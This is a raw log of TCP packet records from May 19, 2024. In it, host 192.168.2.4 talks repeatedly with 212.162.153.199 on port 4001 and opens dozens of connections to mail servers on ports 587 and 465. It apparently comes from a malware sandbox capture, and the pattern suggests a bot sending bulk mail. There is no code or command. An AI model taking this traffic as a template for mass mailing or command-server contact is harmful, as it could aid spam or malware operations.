May 19, 2024 17:28:00.707204103 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.707299948 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.707299948 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.708661079 CEST	49854	587	192.168.2.4	175.135.252.193
May 19, 2024 17:28:00.709651947 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.709651947 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.713923931 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.713923931 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.716614962 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.721369982 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.721383095 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.726183891 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.734566927 CEST	587	50073	41.193.157.227	192.168.2.4
May 19, 2024 17:28:00.734663963 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.734663963 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.736093044 CEST	587	50073	41.193.157.227	192.168.2.4
May 19, 2024 17:28:00.736151934 CEST	50073	587	192.168.2.4	41.193.157.227
May 19, 2024 17:28:00.736175060 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.736175060 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.739878893 CEST	50091	587	192.168.2.4	2.207.150.234
May 19, 2024 17:28:00.740381956 CEST	587	50073	41.193.157.227	192.168.2.4
May 19, 2024 17:28:00.740516901 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.740516901 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.744910955 CEST	587	50073	41.193.157.227	192.168.2.4
May 19, 2024 17:28:00.745016098 CEST	50073	587	192.168.2.4	41.193.157.227
May 19, 2024 17:28:00.745052099 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.746264935 CEST	587	50073	41.193.157.227	192.168.2.4
May 19, 2024 17:28:00.746298075 CEST	587	50073	41.193.157.227	192.168.2.4
May 19, 2024 17:28:00.746351004 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.746351004 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.746366978 CEST	50073	587	192.168.2.4	41.193.157.227
May 19, 2024 17:28:00.746397018 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.751090050 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.751118898 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.751147032 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.757092953 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.804316998 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.804393053 CEST	587	50080	212.85.98.214	192.168.2.4
May 19, 2024 17:28:00.804429054 CEST	587	49831	142.93.237.125	192.168.2.4
May 19, 2024 17:28:00.804461002 CEST	587	49998	182.248.170.226	192.168.2.4
May 19, 2024 17:28:00.804558992 CEST	49831	587	192.168.2.4	142.93.237.125
May 19, 2024 17:28:00.804828882 CEST	50033	587	192.168.2.4	129.159.125.229
May 19, 2024 17:28:00.805088997 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.805118084 CEST	49831	587	192.168.2.4	142.93.237.125
May 19, 2024 17:28:00.805135012 CEST	49912	587	192.168.2.4	91.196.0.18
May 19, 2024 17:28:00.805151939 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.805234909 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.805936098 CEST	50154	587	192.168.2.4	3.125.131.179
May 19, 2024 17:28:00.806308031 CEST	50155	587	192.168.2.4	194.153.145.104
May 19, 2024 17:28:00.809695959 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.814841986 CEST	587	49848	101.0.69.102	192.168.2.4
May 19, 2024 17:28:00.814896107 CEST	587	50119	177.11.54.185	192.168.2.4
May 19, 2024 17:28:00.815140009 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.815140009 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.819916964 CEST	587	50033	129.159.125.229	192.168.2.4
May 19, 2024 17:28:00.819971085 CEST	587	49831	142.93.237.125	192.168.2.4
May 19, 2024 17:28:00.820002079 CEST	587	49912	91.196.0.18	192.168.2.4
May 19, 2024 17:28:00.820030928 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.820065022 CEST	587	50154	3.125.131.179	192.168.2.4
May 19, 2024 17:28:00.820094109 CEST	587	50155	194.153.145.104	192.168.2.4
May 19, 2024 17:28:00.820143938 CEST	50154	587	192.168.2.4	3.125.131.179
May 19, 2024 17:28:00.820287943 CEST	50155	587	192.168.2.4	194.153.145.104
May 19, 2024 17:28:00.823127985 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.823173046 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.827291965 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.827703953 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.827784061 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.832546949 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.837758064 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.849287987 CEST	50080	587	192.168.2.4	212.85.98.214
May 19, 2024 17:28:00.849421024 CEST	49998	587	192.168.2.4	182.248.170.226
May 19, 2024 17:28:00.855015039 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.855068922 CEST	587	50143	193.122.131.100	192.168.2.4
May 19, 2024 17:28:00.855101109 CEST	587	50067	65.20.63.172	192.168.2.4
May 19, 2024 17:28:00.855300903 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.855300903 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.859859943 CEST	587	49887	213.209.1.145	192.168.2.4
May 19, 2024 17:28:00.859957933 CEST	587	49989	40.99.157.50	192.168.2.4
May 19, 2024 17:28:00.859989882 CEST	587	49887	213.209.1.145	192.168.2.4
May 19, 2024 17:28:00.860024929 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.860093117 CEST	49887	587	192.168.2.4	213.209.1.145
May 19, 2024 17:28:00.860093117 CEST	49887	587	192.168.2.4	213.209.1.145
May 19, 2024 17:28:00.860132933 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.860132933 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.864815950 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.864911079 CEST	50119	587	192.168.2.4	177.11.54.185
May 19, 2024 17:28:00.865026951 CEST	49848	587	192.168.2.4	101.0.69.102
May 19, 2024 17:28:00.869868040 CEST	587	49887	213.209.1.145	192.168.2.4
May 19, 2024 17:28:00.874798059 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.896250010 CEST	50143	587	192.168.2.4	193.122.131.100
May 19, 2024 17:28:00.896255970 CEST	50067	587	192.168.2.4	65.20.63.172
May 19, 2024 17:28:00.901721001 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.901976109 CEST	49933	587	192.168.2.4	64.91.253.60
May 19, 2024 17:28:00.902106047 CEST	49942	587	192.168.2.4	217.74.65.52
May 19, 2024 17:28:00.902278900 CEST	50056	587	192.168.2.4	87.248.97.31
May 19, 2024 17:28:00.902441978 CEST	50082	587	192.168.2.4	52.62.236.135
May 19, 2024 17:28:00.902496099 CEST	50054	587	192.168.2.4	84.116.6.22
May 19, 2024 17:28:00.902540922 CEST	49964	587	192.168.2.4	201.193.191.44
May 19, 2024 17:28:00.902605057 CEST	50015	587	192.168.2.4	193.54.32.8
May 19, 2024 17:28:00.902916908 CEST	50157	587	192.168.2.4	117.50.20.113
May 19, 2024 17:28:00.902976990 CEST	50156	587	192.168.2.4	193.201.172.98
May 19, 2024 17:28:00.911783934 CEST	49989	587	192.168.2.4	40.99.157.50
May 19, 2024 17:28:00.922885895 CEST	587	49933	64.91.253.60	192.168.2.4
May 19, 2024 17:28:00.943247080 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.969228983 CEST	587	49942	217.74.65.52	192.168.2.4
May 19, 2024 17:28:00.969273090 CEST	587	50056	87.248.97.31	192.168.2.4
May 19, 2024 17:28:00.969304085 CEST	587	50082	52.62.236.135	192.168.2.4
May 19, 2024 17:28:00.969332933 CEST	587	50054	84.116.6.22	192.168.2.4
May 19, 2024 17:28:00.969363928 CEST	587	49964	201.193.191.44	192.168.2.4
May 19, 2024 17:28:00.969394922 CEST	587	50015	193.54.32.8	192.168.2.4
May 19, 2024 17:28:00.969429016 CEST	587	50157	117.50.20.113	192.168.2.4
May 19, 2024 17:28:00.969460011 CEST	587	50156	193.201.172.98	192.168.2.4
May 19, 2024 17:28:00.969490051 CEST	587	50033	129.159.125.229	192.168.2.4
May 19, 2024 17:28:00.969511986 CEST	50157	587	192.168.2.4	117.50.20.113
May 19, 2024 17:28:00.969521046 CEST	587	50002	103.82.242.210	192.168.2.4
May 19, 2024 17:28:00.969542980 CEST	50156	587	192.168.2.4	193.201.172.98
May 19, 2024 17:28:00.969542980 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.969621897 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.969621897 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.969646931 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.976573944 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:01.021174908 CEST	50002	587	192.168.2.4	103.82.242.210
May 19, 2024 17:28:01.021311045 CEST	50033	587	192.168.2.4	129.159.125.229
May 19, 2024 17:28:01.025227070 CEST	587	49909	64.136.52.44	192.168.2.4
May 19, 2024 17:28:01.025268078 CEST	587	49912	91.196.0.18	192.168.2.4
May 19, 2024 17:28:01.025351048 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.025429964 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.029998064 CEST	587	49882	195.121.65.26	192.168.2.4
May 19, 2024 17:28:01.030239105 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.035154104 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:01.039819002 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:01.040532112 CEST	49909	587	192.168.2.4	64.136.52.44
May 19, 2024 17:28:01.040592909 CEST	49941	587	192.168.2.4	79.96.63.102
May 19, 2024 17:28:01.040611982 CEST	50023	587	192.168.2.4	62.149.128.202
May 19, 2024 17:28:01.045504093 CEST	587	49909	64.136.52.44	192.168.2.4
May 19, 2024 17:28:01.050219059 CEST	587	49933	64.91.253.60	192.168.2.4
May 19, 2024 17:28:01.053078890 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.058011055 CEST	587	49941	79.96.63.102	192.168.2.4
May 19, 2024 17:28:01.058043957 CEST	587	50023	62.149.128.202	192.168.2.4
May 19, 2024 17:28:01.058073997 CEST	587	50146	81.7.169.194	192.168.2.4
May 19, 2024 17:28:01.058161020 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.063184977 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:01.068068027 CEST	49912	587	192.168.2.4	91.196.0.18
May 19, 2024 17:28:01.073298931 CEST	587	50134	84.116.6.22	192.168.2.4
May 19, 2024 17:28:01.073352098 CEST	587	50134	84.116.6.22	192.168.2.4
May 19, 2024 17:28:01.073415995 CEST	50134	587	192.168.2.4	84.116.6.22
May 19, 2024 17:28:01.073446035 CEST	50134	587	192.168.2.4	84.116.6.22
May 19, 2024 17:28:01.073527098 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.073528051 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.083837986 CEST	49882	587	192.168.2.4	195.121.65.26
May 19, 2024 17:28:01.094441891 CEST	587	50132	212.159.8.240	192.168.2.4
May 19, 2024 17:28:01.094753027 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.099267006 CEST	50146	587	192.168.2.4	81.7.169.194
May 19, 2024 17:28:01.099328041 CEST	587	50134	84.116.6.22	192.168.2.4
May 19, 2024 17:28:01.099383116 CEST	49933	587	192.168.2.4	64.91.253.60
May 19, 2024 17:28:01.104185104 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:01.109186888 CEST	587	50015	193.54.32.8	192.168.2.4
May 19, 2024 17:28:01.109241009 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:01.109272003 CEST	587	50056	87.248.97.31	192.168.2.4
May 19, 2024 17:28:01.109512091 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.109512091 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.117268085 CEST	587	50054	84.116.6.22	192.168.2.4
May 19, 2024 17:28:01.117558002 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.122337103 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:01.127058983 CEST	587	49752	168.0.132.203	192.168.2.4
May 19, 2024 17:28:01.127111912 CEST	587	49752	168.0.132.203	192.168.2.4
May 19, 2024 17:28:01.127144098 CEST	587	49752	168.0.132.203	192.168.2.4
May 19, 2024 17:28:01.127271891 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.127360106 CEST	49752	587	192.168.2.4	168.0.132.203
May 19, 2024 17:28:01.127360106 CEST	49752	587	192.168.2.4	168.0.132.203
May 19, 2024 17:28:01.127360106 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.127360106 CEST	49752	587	192.168.2.4	168.0.132.203
May 19, 2024 17:28:01.127360106 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.132729053 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:01.137933016 CEST	587	49752	168.0.132.203	192.168.2.4
May 19, 2024 17:28:01.146234989 CEST	50132	587	192.168.2.4	212.159.8.240
May 19, 2024 17:28:01.151417017 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:01.151463032 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:01.151622057 CEST	49925	587	192.168.2.4	62.149.128.203
May 19, 2024 17:28:01.152121067 CEST	50063	587	192.168.2.4	38.111.141.32
May 19, 2024 17:28:01.152139902 CEST	49914	587	192.168.2.4	129.159.94.43
May 19, 2024 17:28:01.152287960 CEST	50013	587	192.168.2.4	41.193.157.227
May 19, 2024 17:28:01.152518988 CEST	50042	587	192.168.2.4	168.0.132.203
May 19, 2024 17:28:01.152698994 CEST	50037	587	192.168.2.4	193.122.179.25
May 19, 2024 17:28:01.152698994 CEST	50084	587	192.168.2.4	168.0.132.203
May 19, 2024 17:28:01.153136015 CEST	50158	587	192.168.2.4	209.202.254.90
May 19, 2024 17:28:01.154011011 CEST	50159	587	192.168.2.4	41.193.157.227
May 19, 2024 17:28:01.161818981 CEST	587	49925	62.149.128.203	192.168.2.4
May 19, 2024 17:28:01.161869049 CEST	50015	587	192.168.2.4	193.54.32.8
May 19, 2024 17:28:01.161871910 CEST	50056	587	192.168.2.4	87.248.97.31
May 19, 2024 17:28:01.161883116 CEST	50054	587	192.168.2.4	84.116.6.22
May 19, 2024 17:28:01.193056107 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.213119030 CEST	587	50063	38.111.141.32	192.168.2.4
May 19, 2024 17:28:01.213160992 CEST	587	49914	129.159.94.43	192.168.2.4
May 19, 2024 17:28:01.213191032 CEST	587	50013	41.193.157.227	192.168.2.4
May 19, 2024 17:28:01.213221073 CEST	587	50042	168.0.132.203	192.168.2.4
May 19, 2024 17:28:01.213248968 CEST	587	50037	193.122.179.25	192.168.2.4
May 19, 2024 17:28:01.213278055 CEST	587	50084	168.0.132.203	192.168.2.4
May 19, 2024 17:28:01.213311911 CEST	587	50158	209.202.254.90	192.168.2.4
May 19, 2024 17:28:01.213341951 CEST	587	49942	217.74.65.52	192.168.2.4
May 19, 2024 17:28:01.213385105 CEST	50158	587	192.168.2.4	209.202.254.90
May 19, 2024 17:28:01.213407040 CEST	587	50159	41.193.157.227	192.168.2.4
May 19, 2024 17:28:01.213459015 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.213468075 CEST	587	49964	201.193.191.44	192.168.2.4
May 19, 2024 17:28:01.213496923 CEST	587	49909	64.136.52.44	192.168.2.4
May 19, 2024 17:28:01.213515997 CEST	50159	587	192.168.2.4	41.193.157.227
May 19, 2024 17:28:01.213525057 CEST	587	49909	64.136.52.44	192.168.2.4
May 19, 2024 17:28:01.213547945 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.213577986 CEST	49909	587	192.168.2.4	64.136.52.44
May 19, 2024 17:28:01.213615894 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.213615894 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.213669062 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.213712931 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.213804007 CEST	49909	587	192.168.2.4	64.136.52.44
May 19, 2024 17:28:01.213965893 CEST	50160	587	192.168.2.4	66.199.141.105
May 19, 2024 17:28:01.214155912 CEST	50161	587	192.168.2.4	75.2.96.173
May 19, 2024 17:28:01.220125914 CEST	587	49909	64.136.52.44	192.168.2.4
May 19, 2024 17:28:01.233145952 CEST	587	50160	66.199.141.105	192.168.2.4
May 19, 2024 17:28:01.233177900 CEST	587	50161	75.2.96.173	192.168.2.4
May 19, 2024 17:28:01.233206987 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:01.233222008 CEST	50160	587	192.168.2.4	66.199.141.105
May 19, 2024 17:28:01.233252048 CEST	50161	587	192.168.2.4	75.2.96.173
May 19, 2024 17:28:01.233321905 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.233402967 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.235536098 CEST	587	50082	52.62.236.135	192.168.2.4
May 19, 2024 17:28:01.235589981 CEST	587	50082	52.62.236.135	192.168.2.4
May 19, 2024 17:28:01.235651970 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.235651970 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.235665083 CEST	50082	587	192.168.2.4	52.62.236.135
May 19, 2024 17:28:01.235692024 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.235692024 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.240268946 CEST	587	50082	52.62.236.135	192.168.2.4
May 19, 2024 17:28:01.240639925 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.240639925 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.244976997 CEST	587	50082	52.62.236.135	192.168.2.4
May 19, 2024 17:28:01.245060921 CEST	50082	587	192.168.2.4	52.62.236.135
May 19, 2024 17:28:01.245100975 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.249732018 CEST	587	50082	52.62.236.135	192.168.2.4
May 19, 2024 17:28:01.249766111 CEST	587	50082	52.62.236.135	192.168.2.4
May 19, 2024 17:28:01.249821901 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.249821901 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.249835014 CEST	50082	587	192.168.2.4	52.62.236.135
May 19, 2024 17:28:01.249912024 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.250027895 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.250057936 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.254471064 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:01.254502058 CEST	587	50149	162.144.159.205	192.168.2.4
May 19, 2024 17:28:01.254530907 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:01.254661083 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.255544901 CEST	49964	587	192.168.2.4	201.193.191.44
May 19, 2024 17:28:01.255662918 CEST	49942	587	192.168.2.4	217.74.65.52
May 19, 2024 17:28:01.259299040 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:01.259327888 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:01.259357929 CEST	587	50023	62.149.128.202	192.168.2.4
May 19, 2024 17:28:01.259390116 CEST	587	49941	79.96.63.102	192.168.2.4
May 19, 2024 17:28:01.259418011 CEST	587	49941	79.96.63.102	192.168.2.4
May 19, 2024 17:28:01.259448051 CEST	587	49941	79.96.63.102	192.168.2.4
May 19, 2024 17:28:01.259483099 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.259495974 CEST	49941	587	192.168.2.4	79.96.63.102
May 19, 2024 17:28:01.259511948 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.259556055 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.259568930 CEST	49941	587	192.168.2.4	79.96.63.102
May 19, 2024 17:28:01.259601116 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.264082909 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:01.268831015 CEST	587	50063	38.111.141.32	192.168.2.4
May 19, 2024 17:28:01.269006014 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.276963949 CEST	587	49941	79.96.63.102	192.168.2.4
May 19, 2024 17:28:01.276993990 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:01.277023077 CEST	587	49914	129.159.94.43	192.168.2.4
May 19, 2024 17:28:01.277107000 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.281955004 CEST	587	50037	193.122.179.25	192.168.2.4
May 19, 2024 17:28:01.282043934 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.286830902 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:01.302407026 CEST	50149	587	192.168.2.4	162.144.159.205
May 19, 2024 17:28:01.302447081 CEST	50023	587	192.168.2.4	62.149.128.202
May 19, 2024 17:28:01.307394981 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:01.307598114 CEST	49863	587	192.168.2.4	46.182.21.2
May 19, 2024 17:28:01.308032990 CEST	50066	587	192.168.2.4	162.241.203.50
May 19, 2024 17:28:01.308093071 CEST	50124	587	192.168.2.4	103.226.222.162
May 19, 2024 17:28:01.308276892 CEST	50035	587	192.168.2.4	207.211.30.141
May 19, 2024 17:28:01.312098026 CEST	587	49812	193.70.18.144	192.168.2.4
May 19, 2024 17:28:01.312144041 CEST	587	50145	64.90.62.162	192.168.2.4
May 19, 2024 17:28:01.312235117 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.312268019 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.317202091 CEST	587	49863	46.182.21.2	192.168.2.4
May 19, 2024 17:28:01.318022966 CEST	50063	587	192.168.2.4	38.111.141.32
May 19, 2024 17:28:01.318037987 CEST	49914	587	192.168.2.4	129.159.94.43
May 19, 2024 17:28:01.321923018 CEST	587	50066	162.241.203.50	192.168.2.4
May 19, 2024 17:28:01.321953058 CEST	587	50124	103.226.222.162	192.168.2.4
May 19, 2024 17:28:01.321980953 CEST	587	50035	207.211.30.141	192.168.2.4
May 19, 2024 17:28:01.322009087 CEST	587	50153	81.2.195.204	192.168.2.4
May 19, 2024 17:28:01.322227955 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.326648951 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:01.333728075 CEST	50037	587	192.168.2.4	193.122.179.25
May 19, 2024 17:28:01.351609945 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:01.351741076 CEST	49944	587	192.168.2.4	150.214.204.12
May 19, 2024 17:28:01.352072001 CEST	50031	587	192.168.2.4	46.255.231.19
May 19, 2024 17:28:01.358911991 CEST	49812	587	192.168.2.4	193.70.18.144
May 19, 2024 17:28:01.364942074 CEST	50145	587	192.168.2.4	64.90.62.162
May 19, 2024 17:28:01.364979982 CEST	50153	587	192.168.2.4	81.2.195.204
May 19, 2024 17:28:01.366204977 CEST	587	49925	62.149.128.203	192.168.2.4
May 19, 2024 17:28:01.368468046 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.372808933 CEST	587	49811	72.18.132.28	192.168.2.4
May 19, 2024 17:28:01.373078108 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.378149986 CEST	587	49944	150.214.204.12	192.168.2.4
May 19, 2024 17:28:01.378226995 CEST	587	50031	46.255.231.19	192.168.2.4
May 19, 2024 17:28:01.383405924 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:01.393668890 CEST	587	50042	168.0.132.203	192.168.2.4
May 19, 2024 17:28:01.396060944 CEST	587	50084	168.0.132.203	192.168.2.4
May 19, 2024 17:28:01.396567106 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.396652937 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.396652937 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.401156902 CEST	587	50084	168.0.132.203	192.168.2.4
May 19, 2024 17:28:01.401209116 CEST	587	50084	168.0.132.203	192.168.2.4
May 19, 2024 17:28:01.401243925 CEST	587	50084	168.0.132.203	192.168.2.4
May 19, 2024 17:28:01.401320934 CEST	50084	587	192.168.2.4	168.0.132.203
May 19, 2024 17:28:01.401320934 CEST	50084	587	192.168.2.4	168.0.132.203
May 19, 2024 17:28:01.401418924 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.401420116 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.401420116 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.401420116 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.411185026 CEST	587	50084	168.0.132.203	192.168.2.4
May 19, 2024 17:28:01.411247969 CEST	465	50141	35.182.240.32	192.168.2.4
May 19, 2024 17:28:01.411279917 CEST	587	50116	64.59.136.142	192.168.2.4
May 19, 2024 17:28:01.411309958 CEST	587	50116	64.59.136.142	192.168.2.4
May 19, 2024 17:28:01.411372900 CEST	50116	587	192.168.2.4	64.59.136.142
May 19, 2024 17:28:01.411372900 CEST	50141	465	192.168.2.4	35.182.240.32
May 19, 2024 17:28:01.411417961 CEST	50116	587	192.168.2.4	64.59.136.142
May 19, 2024 17:28:01.411427975 CEST	50141	465	192.168.2.4	35.182.240.32
May 19, 2024 17:28:01.411482096 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.411483049 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.411483049 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.411483049 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.411781073 CEST	49925	587	192.168.2.4	62.149.128.203
May 19, 2024 17:28:01.417198896 CEST	587	49940	157.7.144.20	192.168.2.4
May 19, 2024 17:28:01.417249918 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:01.417504072 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.417633057 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.417665958 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.417694092 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.417738914 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.427412987 CEST	49811	587	192.168.2.4	72.18.132.28
May 19, 2024 17:28:01.443032026 CEST	50042	587	192.168.2.4	168.0.132.203
May 19, 2024 17:28:01.458674908 CEST	49940	587	192.168.2.4	157.7.144.20
May 19, 2024 17:28:01.459073067 CEST	50084	587	192.168.2.4	168.0.132.203
